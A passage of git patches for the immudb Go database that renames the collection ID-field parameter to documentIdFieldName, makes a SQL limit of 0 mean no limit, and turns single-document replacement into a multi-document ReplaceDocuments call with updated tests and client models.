0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x64, 0x22, 0xf6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, - 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 706210dc8d..30fa664eff 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -68,7 +68,7 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CreateCollect return nil, ErrIllegalArguments } - err := d.documentEngine.CreateCollection(ctx, req.Name, req.IdFieldName, req.Fields, req.Indexes) + err := d.documentEngine.CreateCollection(ctx, req.Name, req.DocumentIdFieldName, req.Fields, req.Indexes) if err != nil { return nil, err } @@ -112,7 +112,7 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollect return nil, ErrIllegalArguments } - err := d.documentEngine.UpdateCollection(ctx, req.Name, req.IdFieldName) + err := d.documentEngine.UpdateCollection(ctx, req.Name, req.DocumentIdFieldName) if err != nil { return nil, err } @@ -299,7 +299,7 @@ func (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentReq } defer d.releaseTx(tx) - collectionID, idFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) + collectionID, documentIdFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) if err != nil { return nil, err } @@ -334,10 +334,10 @@ func (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentReq } return &protomodel.ProofDocumentResponse{ - Database: d.name, - CollectionId: collectionID, - IdFieldName: idFieldName, - EncodedDocument: docAudit.EncodedDocument, + Database: d.name, + CollectionId: collectionID, + DocumentIdFieldName: documentIdFieldName, + EncodedDocument: docAudit.EncodedDocument, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofV2ToProto(dualProof), diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 4551878fb5..bee4eb2eef 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -43,9 +43,9 @@ func VerifyDocument(ctx context.Context, return nil, store.ErrIllegalArguments } - docID, ok := doc.Fields[proof.IdFieldName] + docID, ok := doc.Fields[proof.DocumentIdFieldName] if !ok { - return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, proof.IdFieldName) + return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, proof.DocumentIdFieldName) } encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index b5bd3894db..bf81c074d0 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -46,8 +46,8 @@ func CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID st func CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, - "idFieldName": "emp_no", + "name": name, + "documentIdFieldName": "emp_no", } return createCollection(expect, sessionID, payload) @@ -55,8 +55,8 @@ func CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID func CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, - "idFieldName": "emp_no", + "name": name, + "documentIdFieldName": "emp_no", "fields": []interface{}{ map[string]interface{}{ "name": "hire_date", diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index fe12b1fa5b..9332eb287a 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -43,9 +43,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { collection := actions.CreateCollectionWithName(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) @@ -57,9 +57,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneField() { collection := actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("first_name") @@ -72,9 +72,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndIdFieldName( collection := actions.CreateCollectionWithNameAndIdFieldName(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("emp_no") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) @@ -86,9 +86,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameIdFieldNameAndO collection := actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("emp_no") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("hire_date") @@ -101,9 +101,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameOneFieldAndOneU collection := actions.CreateCollectionWithNameOneFieldAndOneUniqueIndex(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("id_number") @@ -118,9 +118,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleFiel collection := actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") @@ -137,9 +137,9 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsA collection := actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") From 4c56d3078250e1ef92261736ec7a305a05554395 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 16:22:17 -0300 Subject: [PATCH 0542/1062] fix(embedded/sql): consider 0 as no limit Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 60c90c5b59..ad5d65267f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2321,7 +2321,13 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin return nil, fmt.Errorf("%w: invalid limit", err) } - rowReader = newLimitRowReader(rowReader, limit) + if limit < 0 { + return nil, fmt.Errorf("%w: invalid limit", ErrIllegalArguments) + } + + if limit > 0 { + rowReader = newLimitRowReader(rowReader, limit) + } } return rowReader, nil From 75f509e53ede557a725ea6238e3edee03f665dcb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 16:23:13 -0300 Subject: [PATCH 0543/1062] feat(pkg/api): improved replace documents endpoint Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 160 ++++---- embedded/document/engine_test.go | 28 +- embedded/document/type_conversions.go | 11 + pkg/api/httpclient/client.go | 79 ++-- pkg/api/openapi/apidocs.swagger.json | 36 +- pkg/api/proto/documents.proto | 19 +- pkg/api/protomodel/docs.md | 21 +- pkg/api/protomodel/documents.pb.go | 499 ++++++++++++------------ pkg/api/protomodel/documents.pb.gw.go | 28 +- pkg/api/protomodel/documents_grpc.pb.go | 28 +- pkg/auth/permissions.go | 4 +- pkg/database/document_database.go | 18 +- pkg/server/db_dummy_closed.go | 2 +- pkg/server/documents_operations.go | 6 +- 14 files changed, 483 insertions(+), 456 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 11dcf0d7c5..943ef67d73 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -38,9 +38,9 @@ type Engine struct { sqlEngine *sql.Engine } -type EncodedDocumentAtRevision struct { +type EncodedDocument struct { TxID uint64 - Revision uint64 + Revision uint64 // revision is only set when txID == 0 and info is fetch from the index KVMetadata *store.KVMetadata EncodedDocument []byte } @@ -578,9 +578,9 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru return sql.NewRowSpec(values), nil } -func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { +func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) { if query == nil { - return 0, nil, 0, ErrIllegalArguments + return nil, ErrIllegalArguments } if doc == nil || len(doc.Fields) == 0 { @@ -591,13 +591,13 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { - return 0, nil, 0, mayTranslateError(err) + return nil, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, query.Collection) if err != nil { - return 0, nil, 0, err + return nil, err } documentIdFieldName := docIDFieldName(table) @@ -612,25 +612,25 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d } if len(query.Expressions) == 0 { - query = &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - idFieldComparisson, - }, + query.Expressions = []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + idFieldComparisson, }, }, } } else { - // id comparisson as a first expression might result in faster comparisson - firstExp := query.Expressions[0] - firstExp.FieldComparisons = append([]*protomodel.FieldComparison{idFieldComparisson}, firstExp.FieldComparisons...) + // id comparisson as a first comparisson might result in faster evaluation + // note it mas be added into every expression + for _, exp := range query.Expressions { + exp.FieldComparisons = append([]*protomodel.FieldComparison{idFieldComparisson}, exp.FieldComparisons...) + } } } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { - return 0, nil, 0, err + return nil, err } queryStmt := sql.NewSelectStmt( @@ -638,61 +638,85 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d query.Collection, queryCondition, generateSQLOrderByClauses(table, query.OrderBy), - sql.NewInteger(1), + sql.NewInteger(int64(query.Limit)), nil, ) r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) if err != nil { - return 0, nil, 0, mayTranslateError(err) + return nil, mayTranslateError(err) } - row, err := r.Read(ctx) - if err != nil { - r.Close() + var docs []*structpb.Struct + + for { + row, err := r.Read(ctx) + if err != nil { + r.Close() + + if errors.Is(err, sql.ErrNoMoreRows) { + break + } - if errors.Is(err, sql.ErrNoMoreRows) { - return 0, nil, 0, ErrDocumentNotFound + return nil, mayTranslateError(err) } - return 0, nil, 0, mayTranslateError(err) - } + val := row.ValuesByPosition[0].RawValue().([]byte) + docID, err := NewDocumentIDFromRawBytes(val) + if err != nil { + return nil, err + } - r.Close() + newDoc, err := structpb.NewStruct(doc.AsMap()) + if err != nil { + return nil, err + } - val := row.ValuesByPosition[0].RawValue().([]byte) - docID, err = NewDocumentIDFromRawBytes(val) - if err != nil { - return 0, nil, 0, err - } + if !docIDProvisioned { + // add id field to updated document + newDoc.Fields[documentIdFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + } - if !docIDProvisioned { - // add id field to updated document - doc.Fields[documentIdFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + docs = append(docs, newDoc) } - txID, _, err = e.upsertDocuments(ctx, sqlTx, query.Collection, []*structpb.Struct{doc}, false) - if err != nil { - return 0, nil, 0, err - } + r.Close() - // fetch revision - searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.Collection, docID) - if err != nil { - return txID, docID, 0, nil + if len(docs) == 0 { + return nil, nil } - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) + txID, docIDs, err := e.upsertDocuments(ctx, sqlTx, query.Collection, docs, false) if err != nil { - return txID, docID, 0, nil + return nil, err } - encDoc, err := e.getEncodedDocumentAtRevision(searchKey, 0, false) - if err != nil { - return txID, docID, 0, nil + for _, docID := range docIDs { + // fetch revision + searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.Collection, docID) + if err != nil { + return nil, err + } + + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) + if err != nil { + return nil, err + } + + encDoc, err := e.getEncodedDocument(searchKey, 0, false) + if err != nil { + return nil, err + } + + revisions = append(revisions, &protomodel.DocumentAtRevision{ + TransactionId: txID, + DocumentId: docID.EncodeToHexString(), + Revision: encDoc.Revision, + Metadata: kvMetadataToProto(encDoc.KVMetadata), + }) } - return txID, docID, encDoc.Revision, err + return revisions, nil } func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offset int64) (DocumentReader, error) { @@ -734,7 +758,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs return newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil } -func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, docAtRevision *EncodedDocumentAtRevision, err error) { +func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, encodedDoc *EncodedDocument, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return 0, "", nil, mayTranslateError(err) @@ -751,12 +775,12 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, return 0, "", nil, err } - docAtRevision, err = e.getEncodedDocumentAtRevision(searchKey, txID, false) + encodedDoc, err = e.getEncodedDocument(searchKey, txID, false) if err != nil { return 0, "", nil, err } - return table.ID(), docIDFieldName(table), docAtRevision, nil + return table.ID(), docIDFieldName(table), encodedDoc, nil } // AuditDocument returns the audit history of a document. @@ -785,11 +809,12 @@ func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID results := make([]*protomodel.DocumentAtRevision, 0) for _, txID := range txIDs { - docAtRevision, err := e.getDocumentAtRevision(searchKey, txID, false) + docAtRevision, err := e.getDocumentAtTransaction(searchKey, txID, false) if err != nil { return nil, err } + docAtRevision.DocumentId = docID.EncodeToHexString() docAtRevision.Revision = revision results = append(results, docAtRevision) @@ -804,7 +829,7 @@ func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID return results, nil } -// generateSQLFilteringExpression generates a boolean expression from a list of expressions. +// generateSQLFilteringExpression generates a boolean expression in Disjunctive Normal Form from a list of expressions func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, table *sql.Table) (sql.ValueExp, error) { var outerExp sql.ValueExp @@ -934,28 +959,27 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec return searchKey, nil } -func (e *Engine) getDocumentAtRevision( +func (e *Engine) getDocumentAtTransaction( key []byte, atTx uint64, skipIntegrityCheck bool, ) (docAtRevision *protomodel.DocumentAtRevision, err error) { - encDocAtRevision, err := e.getEncodedDocumentAtRevision(key, atTx, skipIntegrityCheck) + encDoc, err := e.getEncodedDocument(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } - if encDocAtRevision.KVMetadata != nil && encDocAtRevision.KVMetadata.Deleted() { + if encDoc.KVMetadata != nil && encDoc.KVMetadata.Deleted() { return &protomodel.DocumentAtRevision{ - TransactionId: encDocAtRevision.TxID, - Revision: encDocAtRevision.Revision, - Metadata: &protomodel.DocumentMetadata{Deleted: true}, + TransactionId: encDoc.TxID, + Metadata: kvMetadataToProto(encDoc.KVMetadata), }, nil } voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField - _, n, err := sql.DecodeValue(encDocAtRevision.EncodedDocument[voff:], sql.BLOBType) + _, n, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, mayTranslateError(err) } @@ -963,7 +987,7 @@ func (e *Engine) getDocumentAtRevision( voff += n + sql.EncIDLen // DocumentBLOBField - encodedDoc, _, err := sql.DecodeValue(encDocAtRevision.EncodedDocument[voff:], sql.BLOBType) + encodedDoc, _, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, mayTranslateError(err) } @@ -977,17 +1001,17 @@ func (e *Engine) getDocumentAtRevision( } return &protomodel.DocumentAtRevision{ - TransactionId: encDocAtRevision.TxID, - Revision: encDocAtRevision.Revision, + TransactionId: encDoc.TxID, + Metadata: kvMetadataToProto(encDoc.KVMetadata), Document: doc, }, err } -func (e *Engine) getEncodedDocumentAtRevision( +func (e *Engine) getEncodedDocument( key []byte, atTx uint64, skipIntegrityCheck bool, -) (encDoc *EncodedDocumentAtRevision, err error) { +) (encDoc *EncodedDocument, err error) { var txID uint64 var encodedDoc []byte @@ -1020,7 +1044,7 @@ func (e *Engine) getEncodedDocumentAtRevision( } } - return &EncodedDocumentAtRevision{ + return &EncodedDocument{ TxID: txID, Revision: revision, KVMetadata: md, @@ -1044,7 +1068,7 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec } // DeleteDocuments deletes documents matching the query -func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query, limit int) error { +func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query) error { if query == nil { return ErrIllegalArguments } @@ -1070,7 +1094,7 @@ func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query, l table.Name(), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), - sql.NewInteger(int64(limit)), + sql.NewInteger(int64(query.Limit)), ) _, _, err = e.sqlEngine.ExecPreparedStmts( diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 42564a4316..c1ea00d340 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -223,7 +223,7 @@ func TestDocumentAudit(t *testing.T) { }, } - _, _, revision, err := engine.ReplaceDocument(context.Background(), query, &structpb.Struct{ + revisions, err := engine.ReplaceDocuments(context.Background(), query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), @@ -231,7 +231,8 @@ func TestDocumentAudit(t *testing.T) { }, }) require.NoError(t, err) - require.Equal(t, uint64(2), revision) + require.Len(t, revisions, 1) + require.Equal(t, uint64(2), revisions[0].Revision) // get document audit res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) @@ -541,7 +542,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - updatetxID, updateDocID, rev, err := engine.ReplaceDocument(ctx, query, &structpb.Struct{ + revisions, err := engine.ReplaceDocuments(ctx, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), @@ -549,9 +550,11 @@ func TestDocumentUpdate(t *testing.T) { }) require.NoError(t, err) // Check that the method returned the expected values - require.Equal(t, txID+1, updatetxID) - require.Equal(t, docID.EncodeToHexString(), updateDocID.EncodeToHexString()) - require.EqualValues(t, 2, rev) + require.Len(t, revisions, 1) + + require.Equal(t, txID+1, revisions[0].TransactionId) + require.Equal(t, docID.EncodeToHexString(), revisions[0].DocumentId) + require.EqualValues(t, 2, revisions[0].Revision) // Verify that the document was updated query = &protomodel.Query{ @@ -608,8 +611,9 @@ func TestDocumentUpdate(t *testing.T) { } // Test error case when no documents are found - _, _, _, err = engine.ReplaceDocument(ctx, query, toUpdateDoc) - require.ErrorIs(t, err, ErrDocumentNotFound) + revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + require.NoError(t, err) + require.Empty(t, revisions) }) t.Run("update document should fail with a different docID", func(t *testing.T) { @@ -637,8 +641,9 @@ func TestDocumentUpdate(t *testing.T) { } // Call the ReplaceDocument method - _, _, _, err := engine.ReplaceDocument(ctx, query, toUpdateDoc) - require.ErrorIs(t, err, ErrDocumentNotFound) + revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + require.NoError(t, err) + require.Empty(t, revisions) }) } @@ -1005,6 +1010,7 @@ func TestDeleteDocument(t *testing.T) { }, }, }, + Limit: 1, } reader, err := engine.GetDocuments(ctx, query, 0) @@ -1015,7 +1021,7 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) require.Len(t, docs, 1) - err = engine.DeleteDocuments(ctx, query, 1) + err = engine.DeleteDocuments(ctx, query) require.NoError(t, err) reader, err = engine.GetDocuments(ctx, query, 0) diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 3c84d918da..b56fc0ffcb 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -19,6 +19,7 @@ import ( "fmt" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "google.golang.org/protobuf/types/known/structpb" @@ -98,3 +99,13 @@ var sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { return 0, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } + +func kvMetadataToProto(kvMetadata *store.KVMetadata) *protomodel.DocumentMetadata { + if kvMetadata == nil { + return nil + } + + return &protomodel.DocumentMetadata{ + Deleted: kvMetadata.Deleted(), + } +} diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index b0be525313..f9395fe014 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -112,7 +112,6 @@ type ModelDeleteCollectionResponse = map[string]interface{} // ModelDeleteDocumentsRequest defines model for modelDeleteDocumentsRequest. type ModelDeleteDocumentsRequest struct { - Limit *int64 `json:"limit,omitempty"` Query *ModelQuery `json:"query,omitempty"` } @@ -131,6 +130,7 @@ type ModelDeleteIndexResponse = map[string]interface{} // ModelDocumentAtRevision defines model for modelDocumentAtRevision. type ModelDocumentAtRevision struct { Document *map[string]interface{} `json:"document,omitempty"` + DocumentId *string `json:"documentId,omitempty"` Metadata *ModelDocumentMetadata `json:"metadata,omitempty"` Revision *string `json:"revision,omitempty"` TransactionId *string `json:"transactionId,omitempty"` @@ -218,6 +218,7 @@ type ModelProofDocumentResponse struct { type ModelQuery struct { Collection *string `json:"collection,omitempty"` Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` + Limit *int64 `json:"limit,omitempty"` OrderBy *[]ModelOrderByClause `json:"orderBy,omitempty"` } @@ -226,17 +227,15 @@ type ModelQueryExpression struct { FieldComparisons *[]ModelFieldComparison `json:"fieldComparisons,omitempty"` } -// ModelReplaceDocumentRequest defines model for modelReplaceDocumentRequest. -type ModelReplaceDocumentRequest struct { +// ModelReplaceDocumentsRequest defines model for modelReplaceDocumentsRequest. +type ModelReplaceDocumentsRequest struct { Document *map[string]interface{} `json:"document,omitempty"` Query *ModelQuery `json:"query,omitempty"` } -// ModelReplaceDocumentResponse defines model for modelReplaceDocumentResponse. -type ModelReplaceDocumentResponse struct { - 